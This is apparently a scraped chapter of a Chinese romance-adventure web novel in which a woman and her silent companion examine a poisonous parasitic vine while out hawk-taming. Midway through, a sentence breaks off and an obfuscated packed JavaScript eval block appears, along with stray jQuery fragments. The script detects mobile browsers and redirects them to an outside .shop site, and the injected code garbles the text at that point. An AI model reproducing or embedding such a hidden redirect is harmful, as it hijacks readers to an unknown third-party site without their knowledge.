21. 第 21 章
    有云驯兽者,多为通明之人。

    若是没点灵气又毫无慧根的人,多半是干不成这事儿的。

    申如月自然也觉得,一时脑热答应了阿叶跟着自己来,说不准还乱了她原本的气场,反而添倒忙。

    他自进了林中之后,就变得更加安静了,像是担心着会惊扰到什么似的,走起路来都是轻悄悄的,比猫爪子落地还要飘。

    一会儿他人在她左后方,稍稍不注意,又跑到她的右后方去了,神不知鬼不觉的,等想要找他的时候,再突然出现在面前。

    申如月实在忍不了了,压低了声音带了点怒意道:“你!不要在这里装神弄鬼了!”

    原本注意力就要放在察觉周边的野物上,现在好了,还得分点心思仔细他又会突然从哪里冒出来。

    就算申如月是个五识敏锐,心思缜密不漏之人,也受不住他这样折磨。

    饶烨脸上难得出现一丝茫然,只有些无措道:“我没有。”

    他还敢狡辩!

    申如月气不打一出来,本也不是那种收敛的人,只道:“跟只猫一样在这里晃悠,你是来驯兽的还是来吓唬我的?”

    饶烨愣了愣,遂解释说:“我以为得脚步轻一些,避免惊扰。”

    “少侠,这是驯兽,不是猎野鸡野兔,这点动静算不得什么。若是连这点动静都能轻易惊走,带回去一个孬种也作不得用。”

    野兽比一般飞禽更机警,他们行走的动静大约早会被发现。

    反倒是申如月比不上猛兽天生眼尖耳利,会很难察觉饶烨的动静。他内力定然很深,所以步子轻盈。

    “如此。”半晌,他像是思考了许久才应着道,“受教。”

    但经由申如月这番批评,他走起路来的动静终于大了许多,没那么吓人了。

    拖油瓶终于变成了一个摆设跟班,虽然还是说不上有何用处,但申如月心里平坦不少,连带着赶路的步子也快了不少。

    这条路她之前走的并不多,所以有些陌生。

    上次到这边来的时候还是刚捡到阿叶的那天,那时她琢磨许久的驯兽计划终于准备迈开第一步,没想到半路就遇到了这么个绊脚石,一下子拖住了她。

    这么一耽搁,一下就过去了大半个月。

    而驯鹰和平时狩猎也多有不同,山鹰亦有,只是窝巢在山崖边上,并非在林子深处。

    所以想要在林子间得到一头苍梧有力的驯鹰是不太可能的,必然要穿过眼前的这片林子,直到山崖边上去。

    那里天地广阔,虽还没探究一番,但以申如月所学的经验而言,必然有许多机会。

    但,当人的注意力放到远处的时候,往往就容易忽视了脚下。

    “当心!”忽而,一直按照申如月的要求保持着沉默但步子有一定声响的阿叶,低声轻呵,又一个箭步上前将她拉退一些。

    这时,申如月才偏了头去看向自己刚刚被他拉开避过的另一边。

    一根荆棘藤蔓紧紧地绕在了一棵粗壮的大树上,而树干和上头的枝叶也没有放过,都被藤的细枝环绕着,垂下了许多数不清的丝丝条条,密密麻麻,而且枝尖极细,又爬满了像绒毛针尖一样的小刺。若是不仔细看着眼前的这片,很容易被其所暗伤。

    申如月刚刚便是一直看着远处的树冠景象,估算着自己所处的地理方位,和太阳方位推算,而忽视了眼前的这棵树,差点被其伤到。

    这树她是知道的,寻常的樟木种,在锦州这一块的林子里很是常见,入了秋之后就会见到其结果落种,紫红色的小果子砸到地上,熟透了还会爆汁一摊,到了深冬,树叶也不会全部掉干净。

    只是这藤蔓的种类,她却是没见过的。

    毕竟她在蒙州长大,一南一北相去甚远,所在的林间,无论是地势还是林中的树木种类,甚至猎物种类都有很大的不同。

    这也是她为什么过了一年才开始在锦州组建驯兽团的原因。光是在此地安定生存,度过最初那个严寒难熬的冬,便已经花上了不少的时间,而后又到了林中驯兽打猎,都需要她再花额外的心思学习。

    母亲教给她的那些东西总归有限,幸好她生来就是个爱思考的,还喜欢融会贯通关联起来,才把锦州这边的猎兽和森林认了个差不多。

    但是这个藤蔓,实在就超出了她的认知范围。就算是用猜,也是很难猜出来的。

    低下头看去,树根处的粗根四周都缠满了荆棘的根茎,相互死锁。看起来既像是积压着彼此生存空间的竞争关系,又像是荆棘寄生于大树上,可大树的有些树枝偏偏又依附了藤蔓,反而生得更好。

    倒是难以确定这就是单方面的寄生,倒像是共生,双方都是得了好处的,才不算只好了一方,辜负了另一方。

    “这是远藤。”饶烨忽道。

    似是看透了她一直探寻求知的目光,而专门为她解答了一句。

    申如月闻言转过头去,挑了挑眉,一副很感兴趣的样子。

    饶烨:“此物常见于大渡江以南的地带,故而即便是锦州也很是少见,常常以寄生为主,藤蔓生长极为有力,随着生长越茂盛,收力更大,通常被寄生的树干会因其紧缩之力而掉皮缺水,直至衰亡。”

    申如月有些惊讶地瞧着这远藤,叶子也是奇形怪状的,看起来就很不好招惹,倒是没想到,这么麻烦,还会直接害了被附着树木的根基。

    只是这大樟木看起来还好好的,她又不禁问道:“为何它却活了下来?”

    饶烨沉思片刻,才道:“这只是我个人猜测。远藤生长的环境下,宿主树木无论是根茎还是枝干都更为柔软,而樟木的枝干却偏硬,所以它的威力就减去了不少。”

    说着,又上前走了一小步,给了个眼神,示意申如月和他一起看:“这枝干其实也被它的荆棘所伤,渗出了不少汁液,或许正是因为这些汁液,阻碍了远藤向内缠绕,而是不断向上生长。”

    申如月还发现,樟树渗出了汁液的地方,并不见得那一块就格外的干,或者涨势不佳,反而也滋润着。

    “樟树汁液同时又有一定药性和毒性,对远藤的藤皮侵蚀,而它看起来有毒又伤的汁液,对于樟树来说反而滋润,让它也受了益处,长得愈发茂盛。”

    申如月闻言,又往后退了一小步。果然,这棵樟树看起来比周边的樟树长得似乎都要茂盛一些,冬天的叶子也掉得少。不仅是因为上面有着远藤的汁液,即便是远藤到了冬天就会凋零掉许多,它也依然茂盛地生长着,长青不倒,借了远藤的汁液得益于自己,愈发茂盛。

    而远藤本来喜好温湿,按理来说是度不过锦州的寒冬,只会枯死在大雪的夜里,可偏偏又有了樟树在一边相持,汁液互相滋润互补,反而占了这一片地最好的风光。

    这偌大的林子中,樟木见到了无数棵,而远藤却只见到了这么一棵。

    是互相的选择,亦是成全。

    或许最开始都没想到会彼此利好,只是带了刺和毒而来,却渐渐相生相依。

    -

    申如月觉得这情景还挺有意思,从最开始的彼此仇对,到拉扯对峙,再到利益相持

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14313898|152360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,直到适应了彼此,甘愿帮助过冬。

    世事变迁,关系生变亦是难以预料。

    她来了兴致,仔细地盯着树藤,又要上前一步,想折了一条放到手上看看,没事玩一玩。

    饶烨却突然按住了她的手,眼神扫过,而道:“阿月姑娘不要采它,其汁液有毒。”

    “哦。”申如月是个非常听劝的,闻言马上就缩回了手。

    过了一阵,她又像想到了什么似的,突然笑眯眯道:“你是怎么知道的,有人教过你么?”

    他也因为她的话而想到了从前的一些事情,垂了眸,脸上划过一丝淡淡的笑意,但又很快冷了下来,道:“我从小性子野,喜欢到处跑,父母都很难管住我,林中的东西没人教我,大多都是我自己探出来的。”

    察觉到他语气中的失落,申如月倒加快了步子走上前,用手肘撞了撞他的手臂,语气颇为认真地夸道:“那你还是挺厉害的嘛,无师自通,懂的也很多!”

    他只是苦笑地扯了扯嘴角,似乎没有想要把她的话当真。

    但申如月也并不气馁,而是坚持道:“真的!”

    同时此刻,她的脑海中也蹦出了一个小阿叶幼年时期一个人在林子里玩儿,一个没注意就撞到了从大树枝头直直垂到了临近地面的远藤,被扎得龇牙咧嘴,又不甘心地折下一枝,想要带回去问个明白,探个究竟。

    而偏偏又是那么顺手一折,反而给自己的倒霉又火上浇油了,不折只是身上沾了绒毛针有些小痛,折了之后反倒粘上了汁液,直接就中毒了。

    想必是因为他那些算不上愉快,可是偏偏又有些新奇有趣的经历实在是刻骨铭心,让他长这么大都忘不了,才会一摈往日的沉默,低呵着就几次三番地将她从远藤的魔爪下救了出来。

    这脑海中的场面实在是有趣,越想着她的脸上就控制不住笑容。

    饶烨不知道她突然又想到了什么能笑成这样,只当他刚刚又说了什么让她难以理解的话,她又开始打趣自己了,嘴角不自觉地往下沉了沉。

    申如月感觉身侧又是一阵突如其来的寒风扫了,抬眼看着阿叶,唇线绷直,脸上也是板着的,只收了笑意,道:“诶,我只是在想,你小时候的经历必然是很有趣的,也不像现在这样刻板没劲吧?”

    “我现在很没劲?”

    申如月:“……”

    这人的重点怎么总和别人不太一样?

    谁知道他好的不听,偏偏只听这一半呢。

    但申如月还是为了和平,而耐着性子解释说:“其实也不是没劲,就是感觉……你好像活得没什么想法。”

    “活着就活着罢了,要那么多想法做什么。”他语气不算友善,只冷冷淡淡道。

    前半生就是想法太多,所以一直遭人暗算,那样劳心费力,却还是在鬼门关走了一遭。

    如今算是想开了,何必要给自己这么多牵绊拉扯。

    目前只是为了让这个女子能还完债,活下去,顺便再帮利州这边的百姓想个办法,顺手对付一下乱杀抢夺的流匪,他的命就这样了。

    做完了这些之后,再怎么活,那是根本没任何想法。

    也难怪她看了出来,确实是没劲。

    想着,又忍不住自嘲。

    可申如月却说:“你现在是这么想,说不定以后又突然有了指望,舍不得死啊。”

    倒是没想之前那样安慰他要积极向上一点,也没有重申他的命就是她救的,就是她的。

    也不知什么时候开始,这女子竟然学会画大饼了。